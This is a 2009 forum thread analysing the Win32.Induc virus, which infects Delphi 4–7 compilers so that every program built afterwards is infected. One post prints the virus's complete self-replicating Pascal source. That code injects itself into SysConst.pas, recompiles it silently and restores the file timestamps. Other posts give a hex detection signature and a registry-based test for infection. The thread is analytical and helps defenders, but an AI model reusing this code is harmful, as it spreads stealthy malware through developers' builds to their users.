Sysinternals Homepage
Forum Home Forum Home > Windows Discussions > Malware
  New Posts New Posts RSS Feed: Win32.Induc -- using You as malware generator
  FAQ FAQ  Forum Search   Calendar   Register Register  Login Login

Win32.Induc -- using You as malware generator

 Post Reply Post Reply
Author
Message Reverse Sort Order
SystemPro View Drop Down
Senior Member
Senior Member
Avatar

Joined: 26 April 2007
Location: Germany
Online Status: Offline
Posts: 504
Post Options Post Options   Quote SystemPro Quote  Post ReplyReply Direct Link To This Post Topic: Win32.Induc -- using You as malware generator
    Posted: 22 August 2009 at 10:25am
I suspected that for a long time, does the compiled exe increase with the virus?
How many kb?
Concentrate on your strengths.
Back to Top
ntunldr View Drop Down
Senior Member
Senior Member
Avatar

Joined: 05 July 2009
Online Status: Offline
Posts: 229
Post Options Post Options   Quote ntunldr Quote  Post ReplyReply Direct Link To This Post Posted: 20 August 2009 at 6:29pm
where is SystemPro?

"source" code ripped from "infected" sysconst.dcu is below
well actually this is not a virus in pure type of virus definition.
the root of infection probably miranda 0.8 plugin

var sc:array[1..24] of string=('uses windows; var sc:array[1..24] of string=(',
'function x(s:string):string;var i:integer;begin for i:=1 to length(s) do if s',
'=#36 then s:=#39;result:=s;end;procedure re(s,d,e:string);var f1,f2:textfile;',
'h:cardinal;f:STARTUPINFO;p:PROCESS_INFORMATION;b:boolean;t1,t2,t3:FILETIME;begin',
'h:=CreateFile(pchar(d+$bak$),0,0,0,3,0,0);if h<>DWORD(-1) then begin CloseHandle',
'(h);exit;end;{$I-}assignfile(f1,s);reset(f1);if ioresult<>0 then exit;assignfile',
'(f2,d+$pas$);rewrite(f2);if ioresult<>0 then begin closefile(f1);exit;end; while',
'not eof(f1) do begin readln(f1,s); writeln(f2,s);  if pos($implementation$,s)<>0',
'then break;end;for h:= 1 to 1 do writeln(f2,sc[h]);for h:= 1 to 23 do writeln(f2',
',$$$$+sc[h],$$$,$);writeln(f2,$$$$+sc[24]+$$$);$);for h:= 2 to 24 do writeln(f2,',
'x(sc[h]));closefile(f1);closefile(f2);{$I+}MoveFile(pchar(d+$dcu$),pchar(d+$bak$',
')); fillchar(f,sizeof(f),0); f.cb:=sizeof(f); f.dwFlags:=STARTF_USESHOWWINDOW;f.',
'wShowWindow:=SW_HIDE;b:=CreateProcess(nil,pchar(e+$"$+d+$pas"$),0,0,false,0,0,0,',
'f,p);if b then WaitForSingleObject(p.hProcess,INFINITE);MoveFile(pchar(d+$bak$),',
'pchar(d+$dcu$));DeleteFile(pchar(d+$pas$));h:=CreateFile(pchar(d+$bak$),0,0,0,3,',
'0,0);  if  h=DWORD(-1) then exit; GetFileTime(h,@t1,@t2,@t3); CloseHandle(h);h:=',
'CreateFile(pchar(d+$dcu$),256,0,0,3,0,0);if h=DWORD(-1) then exit;SetFileTime(h,',
'@t1,@t2,@t3); CloseHandle(h); end; procedure st; var  k:HKEY;c:array [1..255] of',
'char;  i:cardinal; r:string; v:char; begin for v:=$4$ to $7$ do if RegOpenKeyEx(',
'HKEY_LOCAL_MACHINE,pchar($Software\Borland\Delphi\$+v+$.0$),0,KEY_READ,k)=0 then',
'begin i:=255;if RegQueryValueEx(k,$RootDir$,nil,@i,@c,@i)=0 then begin r:=$$;i:=',
'1; while c<>#0 do begin r:=r+c;inc(i);end;re(r+$\source\rtl\sys\SysConst$+',
'$.pas$,r+$\lib\sysconst.$,$"$+r+$\bin\dcc32.exe" $);end;RegCloseKey(k);end; end;',
'begin st; end.');



Edited by ntunldr - 20 August 2009 at 6:30pm
Back to Top
USForce View Drop Down
Senior Member
Senior Member


Joined: 26 October 2007
Location: United States
Online Status: Offline
Posts: 150
Post Options Post Options   Quote USForce Quote  Post ReplyReply Direct Link To This Post Posted: 20 August 2009 at 4:58pm
This is not the first virus that attack compilers and source codes instead of compiled executables LOL

Edited by USForce - 20 August 2009 at 5:00pm
Back to Top
ntunldr View Drop Down
Senior Member
Senior Member
Avatar

Joined: 05 July 2009
Online Status: Offline
Posts: 229
Post Options Post Options   Quote ntunldr Quote  Post ReplyReply Direct Link To This Post Posted: 20 August 2009 at 2:17pm
very cool but buggy, code suffers with bug that help to find it. I found executables compiled 4-5 month ago infected with that sh*t.

update:
seems to be have no effect with Delphi > 7.


Edited by ntunldr - 20 August 2009 at 2:22pm
Back to Top
nullptr View Drop Down
Senior Member
Senior Member
Avatar

Joined: 06 April 2008
Location: Australia
Online Status: Offline
Posts: 553
Post Options Post Options   Quote nullptr Quote  Post ReplyReply Direct Link To This Post Posted: 20 August 2009 at 2:12pm
At least Win32.Induc is kind enough to save the original Sysconst.dcu as SysConst.bak. Clap
Back to Top
ntunldr View Drop Down
Senior Member
Senior Member
Avatar

Joined: 05 July 2009
Online Status: Offline
Posts: 229
Post Options Post Options   Quote ntunldr Quote  Post ReplyReply Direct Link To This Post Posted: 20 August 2009 at 1:57pm
zeroday uppon your souls ^_^

It's infecting executables written on Delphi (from 4 version up to 7) and doing this through delphi compiler. So you have Delphi installed and compiles your application. Your application become infected "by design". This affects some popular ICQ programs, file managers.

you may even don't know that your totally infected ^_^
it's very small and its very hard to locate in binary.

Induc injects itself to sysconst.pas and recompiles it, using the fact that most delphi VCL programs always have sysconst included.

infected signature from compiled binary
75 73 65 73 20 77 69 6E 64 6F 77 73 3B 20 76 61 72 20
73 63 3A 61 72 72 61 79 5B 31 2E 2E 32 34 5D 20 6F 66
20 73 74 72 69 6E 67 3D 28 00

you can also play with Delphi IDE registry key: HKLM\Borland\Delphi\x.x @RootDir
where x.x - is IDE version, RootDir is registry value name.

Using invalid reg entry of RootDir will lead to abnormal termination of program infected by Induc and to nothing with not infected applications.

Watch yourself compiling viruses LOL

edit: corrected info about affected delphi versions


Edited by ntunldr - 20 August 2009 at 2:43pm
Back to Top
 Post Reply Post Reply

Forum Jump Forum Permissions View Drop Down